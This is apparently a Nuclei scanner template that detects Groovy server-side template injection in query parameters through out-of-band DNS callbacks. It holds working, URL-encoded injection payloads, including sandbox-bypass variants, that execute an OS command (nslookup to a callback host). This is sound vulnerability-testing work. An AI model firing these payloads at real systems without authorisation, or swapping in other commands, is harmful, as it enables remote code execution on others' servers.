groovy-oob: Groovy - Out of Band Template Injection

id: groovy-oob

info:
  name: Groovy - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK,ritikchaddha
  severity: high
  description: |
    Apache Groovy is a dynamic language with optional static type checking. It is similar to languages like Python, Ruby, Perl, and Smalltalk. It can be used as a scripting language for the Java platform.
  reference:
    - https://docs.groovy-lang.org/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#groovy---command-execution
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,groovy

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - '%24%7Brce%3D%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22%3Brce.execute%28%29.text%7D'
        - "%24%7B%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22.exec()%7D"
        - "%24%7Bnew%20org.codehaus.groovy.runtime.MethodClosure(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22%2C%22execute%22).call()%7D"
        # Sandbox bypass
        - "%24%7B%20%40ASTTest(value%3D%7Bassert%20java.lang.Runtime.getRuntime().exec(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)%7D)%20def%20x%20%7D"
        - "%24%7B%20new%20groovy.lang.GroovyClassLoader().parseClass(%22%40groovy.transform.ASTTest(value%3D%7Bassert%20java.lang.Runtime.getRuntime().exec(%5C%22nslookup%20-type%3DSRV%20{{interactsh-url}}%5C%22)%7D)def%20x%22)%20%7D"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
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